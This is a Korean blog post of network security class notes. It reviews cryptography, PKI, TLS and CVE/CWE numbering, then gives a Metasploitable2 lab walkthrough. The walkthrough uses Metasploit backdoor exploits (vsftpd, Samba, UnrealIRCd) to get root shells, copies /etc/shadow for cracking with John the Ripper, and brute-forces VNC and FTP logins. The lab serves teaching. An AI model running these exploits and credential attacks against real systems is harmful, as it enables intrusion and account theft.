* 복습
- 대칭키(기밀성), 공개키(인증,기밀성), 해쉬함수(무결성)
* 대칭키
- 장점: 속도가 빠름 ----> 데이터를 암호화/복호화
- 단점: 키 전달의 문제, 키 개수의 문제(N(N-1)/2) 0.002
- 표준대칭키 : DES, 3DES, AES
- 국내대칭키 : SEED, ARIA, HIGHT, LEA
- 유명대칭키 : RC6, Blowfish 등
- 대칭키의 원리 : 치환, 순열(전치), 매트릭스 등 ------> AES는 SPN구조(Substitution(치환), Permutation(순열), Network)
* 공개키
- 장점: 인증, 기밀성, 키 전달 및 개수의 문제 해결 ex) 누구나 개인키 공개키 한쌍 ----> N명의 사용자, 2N개 필요
- 단점 : 속도가 대칭키에 비해서 약 100~1000배 느림 0.2
- 대칭키(=세션키)를 암호화/복호화 할 때 공개키를 사용
- Diffie-Hellman : 세션키를 교환하지 않고, 자신의 개인키와 상대방의 공개키를 연산을 통해 세션키를 생성, 이산대수 (단점: MITM)
- RSA : 소인수분해의 어려움에 근거, 양방향 암호화(개인키로 암호화하면 공개키로 복호화, 공개키로 암호화하면 개인키로 복호화)
- ECC (타원곡선암호화) : 짧은 키 길이로 강력한 암호화를 지원 ----> Hardware에서 동작(모바일 등)
cf. 암호화 강도 비교 : ECC160bit와 RSA1024bit와 비슷한 수준의 암호화를 제공
* Hash Function
- 3가지 특징 : 고정길이 출력, 역연산불가, 충돌방지
- MD5, SHA1 -----> 일부 크래킹 가능 ----> 사용하면 안됨(인증 안해줌), SHA-2(256bit) : 공동인증서, Bitcoin에서 사용
- 무결성(Integrity) : 내용이 바뀌지 않았다는 것을 증명 ----> 원문이 바뀌면 해쉬값이 바뀜 (해쉬값만 보고도 확인 가능)
* 전자서명
- 원문의 해쉬값에 송신자의 개인키로 서명
- 무결성, 인증, 부인방지 (기밀성은 제공하지 않음)
- 검증 : 송신자의 공개키로 서명을 복호화하면 해쉬값이 나옴, 원문의 해쉬값을 계산해서 비교해보면 됨
* 인증서
- 공개키의 해쉬값에 인증기관의 개인키로 서명
- 공개키의 주인을 확인해주는 효과 ----> 믿고 사용 가능
* PKI (Public Key Infrastructure)
- 최상위 인증기관(Root CA) : 인증기관을 인증
- 인증기관(CA) : 인증서를 발급
- 등록기관(RA) : 인증기관의 인증서 발급을 위해서 사용자 검증, 서류 접수 등
* SSL (Secure Socket Layer) (Socket : IP주소+Port번호 ---> 비표준용어)
- Netscape社에서 웹서버와 웹브라우저간 암호화를 위해서 만듦 -----> 취약점이 너무 많았음
- 표준화하면서 이름을 TLS(Transport Layer Security)로 업그레이드 (취약점 해결)
- 웹서버의 인증서(공개키+기타정보)를 웹브라우저에 제공(자물통 모양이 보임, TCP443포트 사용)
- 웹브라우저는 세션키를 생성해서 웹서버의 공개키로 암호화해서 제공
- 양쪽이 모두 세션키를 가지게 됨 -----> 데이터를 세션키로 암호화해서 양방향 기밀성 가능
* 보안 관련 컨퍼런스
- 블랙햇 컨퍼런스, 데프콘(해킹대회) ----> 라스베가스
- RSA Conference(암호화) ----> 샌프란시스코
- Cloud 보안 -----> LA
- 신문사 글을 써줌, 컨퍼런스 참가 가이드, 보안 회사에서 보내주기도, 공공기관 기금(모집)
실습) 암호화 실습
- Metasploitable2에 SSH로 접속하고, Wireshark로 패킷 캡쳐해보기
- 스니핑이 가능할까?
- VMware에서 Metasploitable2(이하 Meta2)를 실행합니다.
$ sudo ls
$ sudo adduser blackpink
PW : icecream
- Window10(host)에서 Wireshark를 실행합니다.
- VMnet8을 더블클릭(캡쳐시작)
- Windows10(host)에서 명령프롬프트 실행
pwd
whoami // 공격자들이 어떤 권한을 획득했는지 확인할 때 많이 쓰임 (영화 '후엠아이'라는 영화)
ls -l
last // 마지막 로그인 시간
w // 현재 접속자 목록
lastb // 로그인 실패한 사용자
lastlog // 모든 사용자의 로그인 내역
history // 지금까지 사용했던 명령어 목록
uname -r // 커널 버전 확인
exit // 접속 종료
$ cd /etc/ssh
$ sha256sum ssh_host_rsa_key.pub
(공개키의 해쉬값을 확인)
* 약점 : 버전과 관련이 없음, 지속적으로 존재
취약점 : 특정 버전에만 존재, 패치(보안 업데이트)를 하면 사라짐
Quiz) 취약점이 존재한다는 사실이 알려지면 패치를 만들때까지 얼마나 걸릴까요?
1) 1일
2) 일주일
3) 한달
4) 두달
5) 두달 반(75일)
-----> MS 직원의 50%는 Tester라고 함
* 약점(Weakness)
- 관리기관 : cwe.mitre.org
- 번호체계 : CWE-NNNNN (CWE : Common Weakness Enumeration, 일반적인 약점 목록)
ex) CWE-416: Use After Free
* 취약점(Vulnerability, Vulns)
- 관리기관 : cve.mitre.org
- 번호체계 : CVE-YYYY-NNNNnnn (Y는 년도, N은 숫자인데 4자리부터 7자리까지 사용)
ex) CVE-2022-29968 (2022년에 나온 취약점)
* 취약점 번호를 받았다는 것은 알려진 취약점이라는 의미 (One Day Exploit) ---> 패치가 배포된 상태
아직 취약점이 존재하는지 알지못하는 것은 Zero-Day Exploit라고 함 ----> 아직 패치가 배포되지 않은 상태
* 엠바고 : 어떤 사실을 언론이 일정 기간동안 보도하지 말아달라고 요청하는 것
- 취약점의 경우 패치가 나오기 전까지 엠바고를 요청함
* Metasploit
- Exploit 도구중에 가장 유명한 도구
- H.D. Moore가 Perl Script로 만들었는데 Rapid7에서 인수해서 Ruby로 재구조화 (공격모듈 확장자 .rb)
- 무료 버전을 배포하겠다고 약속 (Metasploit-Framework:무료, Metasploit pro:유료)
- Windows, Linux 버전 등 제공 (공격 모듈을 악성코드로 인식하기 때문에 Windows에서 설치하면 동작이 잘 안됨)
- Kali Linux에 설치된 Metasploit를 활용하면 매우 편리함
실습) 처음 실행할 때
피닉스 아이콘(시작) > 08 Exploit Tools > Metasploit Framework 실행
(DB생성, 사용자 등등 시작)
msf6> search vsftpd // 취약점 관련 공격 모듈을 검색
msf6> use exploit/unix/ftp/vsftpd_234_backdoor // use명령으로 공격 모듈을 장착
msf6> set rhost 192.168.5.129 // Meta2의 IP를 target으로 지정
msf6> exploit // 공격 시작
Session 1 opened ... // 연결이 완료됨
ifconfig
-----> Meta2의 IP주소가 보임
whoami
-----> root (공격자에게 root권한이 주어짐)
last
cat /etc/passwd // 사용자 목록 확인
가든쿡 점심시간 조정 : 11:30~13:00
시행 : 2022년 5월 4일부터
참고) 가격은 양과 비례하지 않음
* Metasploit로 연결된 경우 접속해제 방법
Ctrl+c
Abort session 1? y
back // Metasploit 초기 상태로 돌아감
exit
탭을 추가해서 2개로 만들고
1번탭) 스크립트를 활용한 상세 스캔
$ cd /usr/share/nmap/scripts
$ sudo find . -name "*vsftpd*"
ftp-vsftpd-backdoor.nse
$ sudo nmap --script=ftp-vsftpd-backdoor.nse 192.168.5.129 -p 21 // 21번포트의 VSFTP의 취약점을 파악하는 스크립트 활용
-----> VURNARABLE (취약점이 존재하는 것을 확인)
2번탭) Metasploit를 실행
$ sudo msfconsole
* 두번째 예제 : SAMBA
- Windows의 SMB라는 프로토콜이 있음 (SMB : Server Message Block ---> 윈도우간 파일 및 폴더를 공유하는 프로토콜)
- SMB를 리눅스 서버로 확장해서 사용하는 것이 SaMBa
- Windows계정과 Linux계정을 일치시켜서 Windows계정으로 Linux에 파일을 저장하거나 공유할 수 있음 (팀 파일 서버)
1번탭)
$ sudo nmap -sV 192.168.5.129
----> 139, 445번 포트에 SAMBA 실행중
----> 버전 : 3.X ~ 4.X ????
$ sudo find . -name "*samba*" // 스크립트를 찾아봅니다.
samba-vuln-cve-2012-1182.nse
$ sudo nmap --script=samba-vuln-cve-2012-1182.nse 192.168.5.129 // 포트번호를 모르면 안써도 됨
----> VULNARABLE이 보이지 않음 ----> 이 취약점은 아님
$ sudo nmap -A 192.168.5.129 -p 139 // 139번만 집중 스캔
----> smbd 3.0.20-Debian
* 구글에서 검색해봄 : smbd 3.0.20-Debian 검색해보면, Rapid7등등에서 많이 언급하고 있음
---> Rapid7에서 Metasploit 모듈과 명령어를 알려줌
2번탭) Metasploit 에서
msf6 > search usermap_script
msf6 > use exploit/multi/samba/usermap_script
msf6 > info // 스크립트 내용 확인
msf6 > set rhost 192.168.5.129
msf6 > show payloads // 현재 장착된 모듈에서 사용 가능한 페이로드 목록을 보려고 할 때
( 페이로드 중에 reverse가 포함된 것이 있는데 사용하려면 set lhost를 설정해야 함)
msf6 > show options
msf6 > set payload cmd/unix/bind_ruby
msf6 > exploit
-----> Command shell session 1 opened : 연결되었음
(프롬프트는 없어도 리눅스 명령 사용 가능)
cat /etc/apache2/apache2.conf // 설정 파일의 설정 내용 확인
cat /var/log/auth.log // root권한이기 때문에 로그 내용 확인 가능
cat /var/log/syslog
tail -10 /var/log/syslog
useradd itzy // 계정 만들기는 가능, 패스워드 변경은 안됨...
cat /etc/passwd
cat /etc/shadow
ctrl + c 를 눌러서 접속을 종료
* Exploit 단계
1단계) 버전 스캔, All 스캔 ----> 취약한 포트를 찾아봅니다.
2단계) 스크립트를 이용해서 진짜 그 취약점이 존재하는지 확인
3단계) 구글에서 검색해서 확인
4단계) Metasploit에서 Exploit
실습) 6667번 포트를 위의 Exploit 단계에 따라 실습해보세요. ( 45분까지 )
1단계)
$ sudo nmap -A 192.168.5.129 -p 6667
----> Unrealircd 3.2.8.1
2단계)
$ find . -name "*unreal*"
$ sudo nmap --script=irc-unrealircd-backdoor.nse 192.168.5.129 -p 6667
----> "Looks like trojaned version"
3단계)
구글에서 확인해보면 Malicious Backdoor 있음
4단계)
search ircd 3281
use exploit/unix/irc/unreal_ircd_3281_backdoor
set rhost 192.168.5.129
show payloads
set payload cmd/unix/bind_ruby // 다른 페이로드를 사용해도 잘 됨
exploit
* 실습 파일 다운로드
ha.do/v9P (windows7 다운로드)
* 연결 이후의 작업
cat /etc/passwd
root~~~마지막줄의 sh까지 블럭설정 후 복사
3번째 탭을 열고
$ sudo vi passwd
edit 메뉴에서 paste clipboard
:wq
2번째 탭으로 다시 와서
cat /etc/shadow
root ~~ 마지막줄의 :::까지 블럭설정 후 복사
3번째 탭으로 가서
$ sudo vi shadow
edit 메뉴에서 paste clipboard
:wq
* John the Ripper로 계정 크래킹 (3번째 탭에서)
$ sudo unshadow passwd shadow > pass.1
$ sudo john pass.1
- passwd에는 계정정보만 있음, shadow에는 패스워드 해쉬값이 저장되어 있음'
---> 두 파일을 하나로 합쳐서 john the Ripper로 Dictionary&Brute Force 방식으로 크래킹
----> 패스워드가 복잡하면 잘 안나옴, 쉬운 패스워드는 바로 크래킹
참고) Jack the Ripper (1870년대 영국의 연쇄 살인마 ----> 안잡힘. 누군지 모름... 그냥 많이 쓰는 이름인 Jack이라 했음)
3번째 탭과 2번째 탭에서 ctrl + c를 누르면 중지됨
실습) 3632번 포트의 distcc 취약점을 1단계~4단계 순서대로 실습해보세요.
- distcc 취약점은 무엇인지?
- script에 없을 수도 있음...
$ sudo nmap -sS 192.168.5.129 -p 1000-4000
* 지금까지 실습한 포트와 취약점 정리
- 21번포트 : vsFTP 2.3.4
- 6667번 포트 : Unrealirc 8.2.3.1
- 139번 포트 : SAMBA 3.0.20
- 3632번 포트 : DistCC 취약점
- 각자 알아서 나머지 취약점들 공략해보기
* VNC 5900번 포트의 패스워드 알아내기
3번탭) 딕셔너리 파일 생성
$ cd /usr/share/metasploit-framework/data/wordlists
$ sudo vi vnc_password.lst
i // 편집모드 시작
123456
12345
hello
password
ESC // 편집모드 종료
:wq
2번탭) Metasploit
use auxiliary/scanner/vnc/vnc_login
set rhost 192.168.5.129
set STOP_ON_SUCCESS true
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/vnc_password.lst
exploit
* 앞의 실습과 다른점
- 앞에서 실습했던 모듈은 exploit/~~~~
- 지금 사용한 모듈은 auxiliary/~~~ // 보조 도구 : 스캐닝, 패스워드 대입 등등 취약점이 아닌 일반적 공격을 해보는 모듈
* Dictionary를 이용해서 proftpd를 로그인 시도
$ cd /home/kali
$ sudo vi username.txt
admin
root
test
msfadmin
:wq
$ sudo vi password.txt
123456
password
hello
msfadmin
:wq
$ sudo service postgresql start // postgreSQL (포스트그레스큐엘)을 시작
* Metasploit 탭에서
use auxiliary/scanner/ftp/ftp_login
set rhost 192.168.5.129
set rport 2121
set user_file /home/kali/username.txt
set pass_file /home/kali/password.txt
set user_as_pass true
set bruteforce_speed 3
exploit
'등등 > 네트워크 시스템 보안' 카테고리의 다른 글
wireshark (0) | 2022.06.23 |
---|---|
네트워크 시스템 보안-2일차 (0) | 2022.05.09 |
네트워크 시스템 보안 - 1일차 (0) | 2022.05.03 |
네트워크 시스템 보안 - 3일차 (0) | 2022.05.02 |